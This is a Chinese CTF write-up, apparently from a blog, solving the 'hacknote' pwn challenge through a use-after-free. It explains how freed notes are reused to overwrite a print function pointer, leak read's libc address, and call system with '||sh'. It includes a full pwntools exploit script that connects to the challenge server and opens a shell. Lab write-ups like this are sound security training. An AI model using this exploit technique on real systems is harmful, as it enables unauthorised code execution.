攻防世界-PWN進階區-hacknote(pwnable.tw)

攻防世界中這道題是pwnable.tw上面的原題,雖然在攻防世界上難度爲7星,不過實際上這題不算難,只需要利用UAF就可以完成。

題目分析


題目鏈接:https://pan.baidu.com/s/1T-mIVLkxvyZ_7VvlBuInZQ
提取碼:azyd


checksec:
在這裏插入圖片描述
保護機制比前幾題弱了很多

main:
在這裏插入圖片描述
hacknote實現了三個功能:
1.添加(上限爲5)
在這裏插入圖片描述
在新建note時,程序會先申請一個8bytes大小的空間,然後把打印的函數指針放入前4個bytes,後四個bytes放note的內容的指針。
2.刪除(刪除之後沒有將指針置空,明顯的UAF漏洞)
在這裏插入圖片描述
3.顯示
在這裏插入圖片描述
打印內容的函數:
在這裏插入圖片描述
因爲本題使用了函數指針,這使得題目難度降低許多。我們只需要控制函數指針,就能得到shell

漏洞利用

  1. 創建兩個大小爲0x80的note,此時堆結構如下:

在這裏插入圖片描述
在這裏插入圖片描述
然後將它們delete,這樣兩個note的塊就進入了fastbin
此時fastbin爲note[0]<-note[1]

  1. 創建一個大小爲0x8的note,爲note[2], note[2]與note[1]指向相同的位置,並且note[2]的內容指向note[0]相同的位置,構造payload=p32(my_puts) + p32(read_got),就能獲得read的地址從而計算system的地址
    在這裏插入圖片描述
  2. 把note[2]刪除,創建note[3],note[3]也與note[1]指向相同的位置,並且note[3]的內容也指向note[0]相同的位置,構造payload = p32(system) + ‘||sh’
    在這裏插入圖片描述
    這裏說一下爲什麼用 “||sh”:

在show函數中,參數傳入的是該note即note[3]的地址,而把該地址中的內容當做字符串就是
p32(system)||sh
當system執行 p32(system)||sh ,因爲無法解析p32(system),就會轉而執行sh,這樣我們就拿到了shell

Exp

注意:pwnable.tw使用題目給的libc可以成功,但是攻防世界和pwnable.tw用的libc不一樣,所以需要用LibcSearcher來判斷libc,應該是ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

from pwn import *
from LibcSearcher import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Note size :")
	r.sendline(str(size))
	print r.recvuntil("Content :")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))

r = remote("111.198.29.45", 43097)
#r = remote("chall.pwnable.tw", 10102)
#r = process('./hacknote/hacknote')
elf = ELF('./hacknote/hacknote')
libc = ELF('./hacknote/libc_32.so.6')
my_puts = 0x0804862b
read_got = elf.got['read']

add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p32(my_puts) + p32(read_got)
add(8, payload)
show(0)
read_addr = u32(r.recv(4))

'''
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
'''

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")


print "read:", hex(read_addr)
print "system:", hex(system)

delete(2)
payload = p32(system) + '||sh'
add(0x8, payload)
show(0)

r.interactive()

成功得到shell
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章